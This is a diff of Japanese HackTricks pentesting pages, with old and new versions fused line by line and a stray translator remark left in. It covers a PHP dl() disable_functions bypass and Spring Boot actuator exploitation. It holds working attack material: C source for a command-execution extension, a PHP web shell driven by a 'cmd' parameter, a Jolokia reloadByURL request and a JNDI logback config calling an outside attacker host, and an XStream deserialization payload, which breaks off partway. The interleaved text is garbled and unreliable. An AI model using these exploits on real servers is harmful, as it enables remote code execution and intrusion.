* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください** * **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
</details> </details>

View file

@ -1,330 +1,105 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
**重要な注意:** **重要な注意**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png) ![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`** はPHP拡張機能をロードするために使用されるPHP関数です。この関数が無効にされていない場合、**`disable_functions`をバイパスして任意のコマンドを実行する**ために悪用される可能性があります。 **`dl`**はPHPの関数であり、PHP拡張機能をロードするために使用できます。この関数が無効にされていない場合、**`disable_functions`をバイパスして任意のコマンドを実行**することができます。\
ただし、いくつかの厳しい制限があります: ただし、いくつかの厳格な制限があります:
* `dl` 関数は**環境内に存在し**、**無効にされていない**必要があります * `dl`関数は**環境に存在し、無効にされていなければなりません**
* PHP拡張機能は、サーバーが使用しているものと同じメジャーバージョンPHP APIバージョンで**コンパイルされている必要があります**この情報はphpinfoの出力で確認できます * PHP拡張機能は、サーバーが使用している**PHP APIバージョンと同じメジャーバージョン**でコンパイルされている必要がありますこの情報はphpinfoの出力で確認できます
* PHP拡張機能は、**`extension_dir`** ディレクティブで**定義されているディレクトリに位置している必要があります**これもphpinfoの出力で確認できます。攻撃者がサーバーを悪用しようとしている場合、このディレクトリへの書き込みアクセス権を持っている可能性は非常に低いため、この要件がこのテクニックを悪用することを防ぐでしょう。 * PHP拡張機能は、**`extension_dir`ディレクティブで定義されたディレクトリに配置**されている必要がありますphpinfoの出力で確認できます。攻撃者がサーバーを悪用しようとする際にこのディレクトリに書き込みアクセス権限を持っている可能性は非常に低いため、この要件はおそらくこのテクニックを悪用するのを防ぐでしょう。
**これらの要件を満たしている場合は、** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **からコピーされたこの投稿を読み続けて、disable\_functionsをバイパスする方法を学んでください** **これらの要件を満たしている場合は、** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **の投稿を続けて読んで`disable_functions`をバイパスする方法を学んでください**。以下は要約です:
管理者がボックスを設定する際、[dl関数](http://www.php.net/manual/en/function.dl.php)を見落とし、システムコマンドを実行できるという記述がなかったため無効にしませんでした。 [dl関数](http://www.php.net/manual/en/function.dl.php)は、スクリプトの実行中にPHP拡張機能を動的にロードするために使用されます。通常、C/C++で書かれたPHP拡張機能は、PHPの機能を拡張します。攻撃者は、`dl`関数が無効にされていないことに気付いた場合、システムコマンドを実行するためのカスタムPHP拡張機能を作成することに決定します。
[dl関数](http://www.php.net/manual/en/function.dl.php)は、スクリプトが実行されるときにPHP拡張機能をロードするために使用されます。
\
(PHP拡張機能はC/C++で書かれており、PHPにさらなる機能を提供するために使用されます。)
\
攻撃者は関数が無効にされていないことに気づき、潜在的な可能性を見てPHP拡張機能を作成することを決定します。
攻撃者は小さなスクリプト`<?php echo 'PHP Version is '.PHP_VERSION; ?>` (PHP\_VERSIONはPHPのバージョン番号を含む事前定義された定数です。)を使用してPHPのバージョンをチェックします。
\
攻撃者はバージョンをメモし、[PHPウェブサイト](http://www.php.net/downloads.php)からtarballをダウンロードします。このシナリオではバージョンが現在のリリースより古いため、攻撃者は[アーカイブ](http://museum.php.net)にアクセスする必要があります。
\
次に、ソースを抽出し、自分のボックスでPHPのバージョンを[コンパイルしてインストール](http://www.php.net/manual/en/install.php)します。
\
これで拡張機能の作成の時が来ました
攻撃者はPHPサイトから[PHP拡張機能の作成](http://www.php.net/manual/en/zend.creating.php)について読み上げます。
ドキュメントを読み、自分の拡張機能をいくつか作成した後、既に作成されている関数を探すためにPHPのコードベースを見ることに決めます。
\
複製される関数は[exec関数](http://www.php.net/manual/en/function.exec.php)で、コードベースではext/standard/exec.cに位置しています。
\
関連する部分は新しい拡張機能に実装されます。
\
**注意:** ### 攻撃者が取った手順:
コードのコンパイルを始める前に、以下の2点を認識しておく必要があります: 1. **PHPバージョンの特定**
- 攻撃者は、スクリプト(`<?php echo 'PHP Version is '.PHP_VERSION; ?>`を使用してPHPバージョンを特定します。
1- `bypass.c`ファイル内の`ZEND_MODULE_API_NO`の値を、作業中の現在の`Zend Extension Build`に変更する必要があります。以下のコマンドラインを使用して取得できます: 2. **PHPソースの取得**
- PHPの公式[PHPウェブサイト](http://www.php.net/downloads.php)または[アーカイブ](http://museum.php.net)からPHPソースをダウンロードしますバージョンが古い場合
3. **ローカルPHPセットアップ**
- 特定のPHPバージョンをシステムに展開およびインストールします。
4. **拡張機能の作成:**
- [PHP拡張機能の作成](http://www.php.net/manual/en/zend.creating.php)を学習し、PHPソースコードを調査します。
- `ext/standard/exec.c`にある[exec関数](http://www.php.net/manual/en/function.exec.php)の機能を複製することに焦点を当てます。
### カスタム拡張機能のコンパイルに関する注意事項:
1. **ZEND_MODULE_API_NO**
- `bypass.c`内の`ZEND_MODULE_API_NO`は、現在のZend Extension Buildと一致する必要があります。次のコマンドで取得できます
```bash ```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
``` ```
2- 最近のPHPバージョン5、7、8でbypass.cファイルのコンパイルにエラーが発生した場合、PHP_FUNCTION(bypass_exec)を以下のように変更できます:
```
PHP_FUNCTION(bypass_exec)
{
FILE *in;
char *command;
size_t command_len;
zend_string *ret;
php_stream *stream;
ZEND_PARSE_PARAMETERS_START(1, 1) 2. **PHP_FUNCTIONの修正**
Z_PARAM_STRING(command, command_len) - 最新のPHPバージョン5、7、8の場合、`PHP_FUNCTION(bypass_exec)`を調整する必要がある場合があります。提供されたコードスニペットがこの修正の詳細を示しています。
ZEND_PARSE_PARAMETERS_END();
if (!command_len) { ### カスタム拡張機能ファイル:
zend_argument_value_error(1, "cannot be empty");
RETURN_THROWS();
}
if (strlen(command) != command_len) {
zend_argument_value_error(1, "must not contain any null bytes");
RETURN_THROWS();
}
#ifdef PHP_WIN32 - **bypass.c**
if ((in=VCWD_POPEN(command, "rt"))==NULL) { - カスタム拡張機能のコア機能を実装します。
#else - **php_bypass.h**
if ((in=VCWD_POPEN(command, "r"))==NULL) { - 拡張機能のプロパティを定義するヘッダーファイル。
#endif - **config.m4**
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command); - カスタム拡張機能のビルド環境を構成するために`phpize`によって使用されます。
RETURN_FALSE;
}
stream = php_stream_fopen_from_pipe(in, "rb"); ### 拡張機能のビルド:
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
php_stream_close(stream);
if (ret && ZSTR_LEN(ret) > 0) { 1. **コンパイルコマンド:**
RETVAL_STR(ret); - 拡張機能をコンパイルするために`phpize`、`./configure`、`make`を使用します。
} - 生成された`bypass.so`は、modulesサブディレクトリに配置されます。
}
```
以下に、個別の拡張機能のファイルがあります:
{% code title="bypass.c" %} 2. **クリーンアップ:**
```c - コンパイル後に`make clean`と`phpize --clean`を実行します。
/*
+----------------------------------------------------------------------+ ### 被害者ホストへのアップロードと実行:
| Copyright (c) 1997-2003 The PHP Group |
+----------------------------------------------------------------------+ 1. **バージョンの互換性:**
| This source file is subject to version 2.02 of the PHP license, | - 攻撃者と被害者のシステム間でPHP APIバージョンが一致していることを確認します。
| that is bundled with this package in the file LICENSE, and is |
| available at through the world-wide-web at | 2. **拡張機能のロード:**
| http://www.php.net/license/2_02.txt. | - 相対パスを使用するか、スクリプトを使用して制限を回避することで、`dl`関数を利用します。
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to | 3. **スクリプトの実行:**
| license@php.net so we can mail you a copy immediately. | - 攻撃者は`bypass.so`とPHPスクリプトを被害者のサーバーにアップロードします。
+----------------------------------------------------------------------+ - スクリプトは`dl_local`関数を使用して`bypass.so`を動的にロードし、`cmd`クエリパラメータを介して渡されたコマンドで`bypass_exec`を呼び出します。
*/
### コマンドの実行:
- 攻撃者は、`http://www.example.com/script.php?cmd=<command>`にアクセスすることでコマンドを実行できます。
この詳細な手順では、`dl`関数を悪用してシステムコマンドを実行するためのPHP拡張機能を作成および展開するプロセスが説明されており、このセキュリティ違反を防ぐために理想的には無効にすべき`dl`関数を悪用しています。
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_bypass.h"
static function_entry bypass_functions[] = {
PHP_FE(bypass_exec, NULL)
{NULL, NULL, NULL}
};
zend_module_entry bypass_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_BYPASS_EXTNAME,
bypass_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_BYPASS_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_BYPASS
ZEND_GET_MODULE(bypass)
#endif
PHP_FUNCTION(bypass_exec){
FILE *in;
int readbytes, total_readbytes=0, allocated_space;
pval **cmd;
char *ret;
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(cmd);
#ifdef PHP_WIN32
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
#else
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
#endif
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
RETURN_FALSE;
}
allocated_space = EXEC_INPUT_BUF;
ret = (char *) emalloc(allocated_space);
while (1) {
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
if (readbytes<=0) {
break;
}
total_readbytes += readbytes;
allocated_space = total_readbytes+EXEC_INPUT_BUF;
ret = (char *) erealloc(ret, allocated_space);
}
pclose(in);
RETVAL_STRINGL(ret, total_readbytes, 0);
Z_STRVAL_P(return_value)[total_readbytes] = '\';
}
```
The provided text does not contain any content that requires translation. It consists of markdown syntax for code blocks, which should not be altered. If you have any specific content that needs translation, please provide the text.
```c
#ifndef PHP_BYPASS_H
#define PHP_BYPASS_H 1
#define PHP_BYPASS_VERSION "1.0"
#define PHP_BYPASS_EXTNAME "bypass"
PHP_FUNCTION(bypass_exec);
extern zend_module_entry bypass_module_entry;
#define phpext_bypass_ptr &bypass_module_entry
#endif
```
{% endcode %}
{% code title="config.m4" %}
```bash
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
if test "$PHP_BYPASS" = "yes"; then
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
fi
```
{% endcode %}
ファイルが作成されたら、PHP拡張機能をビルドする時です。
```
phpize
./configure
make
```
作業が完了すると、コンパイルされた拡張機能は、`bypass.so` というファイル名で modules サブディレクトリに配置されます。
ファイルは安全な場所にコピーされた後、新しく作成されたファイルをクリーンアップするために次のコマンドが実行されます。
```
make clean
phpize --clean
```
攻撃者は、新しく作成した拡張機能を被害者ホストにアップロードします。
PHPの主要リリースは異なるAPIバージョンを使用しています。一方のホストで拡張機能をコンパイルしてから別のホストにアップロードするためには、APIバージョンが一致している必要があります。これが攻撃者のボックスに最初に同じPHPバージョンがインストールされた理由です。
dl関数で拡張機能をロードするには、拡張機能がextension\_dirディレクティブで定義された拡張機能ディレクトリ内にある必要があります。
これは、攻撃者がこのディレクトリに書き込み権限を持っている可能性が低いため、問題になることがありますが、これを回避する方法があります。
この問題は、dl関数のページ内のートセクションで開発者によって議論されています。
議論されたコンセプトは、定義された拡張機能ディレクトリから相対パスを使用することです。
例えば、拡張機能ディレクトリが/usr/php/extensionsに設定されており、現在のWebディレクトリ/home/example.com/htmlでbypass.soをロードしたい場合、次のようにします
```php
<?php
dl('../../../home/example.com/html/bypass.so');
?>
```
この方法は、拡張機能を定義された拡張ディレクトリに置く必要を回避します。
異なるホストに対して相対パスを変更する必要がない自動化された方法もあります。このコードはendofyourself \[at] yahoo \[dot] comによって作成され、後にmag\_2000 \[at] front \[dot] ruによって改善されました。
関数には小さな問題がありました。一部のホストでは拡張ディレクトリが"./"に設定されており、この関数は拡張ディレクトリが相対パスに設定されている場合を考慮していませんでした。これを修正するには、realpath関数を使用します。
無効化された関数をバイパスしてシステムコマンドを実行し、拡張機能をロードするための最終スクリプトは以下の通りです:
```php
<?php
function dl_local( $extensionFile ) {
if(!(bool)ini_get('enable_dl')
||(bool)ini_get('safe_mode')){
die('Loading extensions is not permitted.');
}
if(!file_exists($extensionFile)){
die('File '.$extensionFile.' does not exist.');
}
if(!is_executable($extensionFile)){
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
}
$currentDir = getcwd().'/';
$currentExtPath = realpath(ini_get('extension_dir'));
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
unset($matches);
if(!(bool)$subDirs){
die('Could not determine a valid extension path [extension_dir]');
}
$extPathLastChar=strlen($currentExtPath )-1;
if($extPathLastChar==strrpos($currentExtPath,'/')){
$subDirs--;}$backDirStr = '';
for($i = 1; $i <= $subDirs; $i++){
$backDirStr .='..';
if($i != $subDirs){
$backDirStr .='/';
}
}
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
if(!dl($finalExtPath)){
die();
}
$loadedExtensions = get_loaded_extensions();
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
return $thisExtName;
}
@ini_set ('display_errors','1');
error_reporting(E_ALL);
dl_local('bypass.so');
if(@$_GET['cmd']){
$output = bypass_exec($_GET['cmd']);
echo '<pre>'.$output.'</pre>';
}
?>
```
攻撃者が行うべきことは、スクリプトへのURLを呼び出し、必要なコマンドを含むcmd変数を指定することです。
```
http://www.example.com/script.php?cmd=ls
```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォローしてください。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。** * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -2,82 +2,47 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する - **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
## **Spring認証バイパス** ## **Spring Auth Bypass**
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
**出典:** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* **From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## Spring Boot Actuatorsの悪用 ## Exploiting Spring Boot Actuators
**引用元:** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) **Check the original post from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
Spring Bootフレームワークには、本番環境にアプリケーションをデプロイした際に監視と管理を支援するための機能であるアクチュエータがいくつか含まれています。監査、健康状態、メトリクス収集のために使用されることを意図していますが、誤設定された場合にはサーバーへの隠された扉を開く可能性があります。 ### **Key Points:**
Spring Bootアプリケーションが実行されているとき、自動的にいくつかのエンドポイント'/health'、'/trace'、'/beans'、'/env'などがルーティングプロセスに登録されます。Spring Boot 1 - 1.4では、これらは認証なしでアクセス可能であり、セキュリティに重大な問題を引き起こします。Springバージョン1.5以降では、'/health'と'/info'を除くすべてのエンドポイントがセンシティブと見なされ、デフォルトで保護されていますが、このセキュリティはしばしばアプリケーション開発者によって無効にされます。 - Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
以下のアクチュエータエンドポイントは、セキュリティ上の問題を引き起こし、潜在的な脆弱性につながる可能性があります: ### **Exploitation Techniques:**
* /dump - スレッドのダンプを表示します(スタックトレースを含む) 1. **Remote Code Execution via '/jolokia'**:
* /trace - 最後のいくつかのHTTPメッセージを表示しますセッション識別子を含む可能性があります - The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
* /logfile - ログファイルの内容を出力します - The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
* /shutdown - アプリケーションをシャットダウンします - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
* /mappings - すべてのMVCコントローラーマッピングを表示します
* /env - 設定環境にアクセスを提供します
* /actuator/env
* /restart - アプリケーションを再起動します
* /heapdump - アプリケーションで使用されているJVMからヒープダンプを作成して返します
Spring 1xでは、これらはルートURLの下に登録されており、2xでは"/actuator/"ベースパスに移動しました。 2. **Config Modification via '/env'**:
- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
- Example exploit POST request:
**悪用方法:**
ほとんどのアクチュエータはGETリクエストのみをサポートし、機密性の高い設定データを単に明らかにするだけですが、いくつかは特にシェルハンターにとって興味深いものです
**1. '/jolokia'を介したリモートコード実行**
ターゲットアプリケーションのクラスパスにJolokiaライブラリが含まれている場合、それは自動的にSpring Bootによって'/jolokia'アクチュエータエンドポイントの下で公開されます。Jolokiaは、登録されているすべてのMBeansにHTTPアクセスを許可し、JMXで実行できるのと同じ操作を実行するように設計されています。URLを使用して利用可能なすべてのMBeansアクションをリストすることができます
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
再び、ほとんどのMBeansアクションは単にシステムデータの一部を明らかにするだけですが、1つは特に興味深いものです
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
'**reloadByURL**'アクションは、Logbackライブラリによって提供され、外部URLからロギング設定をリロードすることを可能にします。次のURLにナビゲートするだけでトリガーできます[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
では、なぜロギング設定が重要なのでしょうか主に2つの理由があります
1. 設定はXML形式であり、もちろんLogbackはそれを外部エンティティが有効な状態で解析します。したがって、それはブラインドXXEに対して脆弱です。
2. Logback設定には['JNDIから変数を取得する'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)機能があります。XMLファイルには、'**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**'のようなタグを含めることができ、name属性はDirContext.lookup()メソッドに渡されます。もし.lookup()関数に任意の名前を供給することができれば、XXEやHeapDumpは必要なく、完全な**リモートコード実行**を実現できます。
**動作原理:**
1\. 攻撃者は、'qos.logback.classic.jmx.JMXConfigurator'クラスによって提供される'reloadByURL'関数を実行するために前述のURLをリクエストします。
2\. 'reloadByURL'関数は、[http://artsploit.com/logback.xml](http://artsploit.com/logback.xml)から新しい設定をダウンロードし、Logback設定として解析します。この悪意のある設定には次の内容が含まれているべきです
```
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
```
3\. このファイルが脆弱なサーバーで解析されると、「env-entry-name」パラメーター値で指定された攻撃者制御のLDAPサーバーへの接続が作成され、JNDI解決につながります。悪意のあるLDAPサーバーは、ターゲットアプリケーション上で**提供されたバイトコードの実行**をトリガーする'Reference'タイプのオブジェクトを返す可能性があります。JNDI攻撃については、この[MicroFocusの研究論文](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)でよく説明されています。[新しいJNDIエクスプロイト技術](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)以前私たちのブログで説明されたもここで機能します。なぜならTomcatはSpring Boot Frameworkのデフォルトのアプリケーションサーバーだからです。
**2. '/env'を通じた設定変更**
Spring Cloudライブラリがクラスパスにある場合、**'/env'** エンドポイントを使用してSpringの環境プロパティを変更できます。'**@ConfigurationProperties**'と注釈されたすべてのビーンは変更され再バインドされる可能性があります。'/configprops'アクチュエーターエンドポイントにリストされているプロパティは多いですが、何を変更すれば何かを達成できるのかは全く明確ではありません。それらをいじって数日を過ごした後、私たちはこれを見つけました:
``` ```
POST /env HTTP/1.1 POST /env HTTP/1.1
Host: 127.0.0.1:8090 Host: 127.0.0.1:8090
@ -86,177 +51,26 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
``` ```
このプロパティは、Eureka serviceURLを任意の値に変更します。Eureka Serverは通常、ディスカバリーサーバーとして使用され、ほぼすべてのSpring Cloudアプリケーションがそれに登録し、状態更新を送信します。ターゲットのクラスパスにEureka-Client <1.8.7が含まれている場合通常はSpring Cloud Netflixに含まれていますそれに存在する**XStreamデシリアライゼーションの脆弱性**を利用できます必要なのは'eureka.client.serviceUrl.defaultZone'プロパティを'/env'経由であなたのサーバーURL[http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)に設定しその後'/refresh'エンドポイントを呼び出すことですその後あなたのサーバーは以下の内容を持つXStreamペイロードを提供するべきです
```markup
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
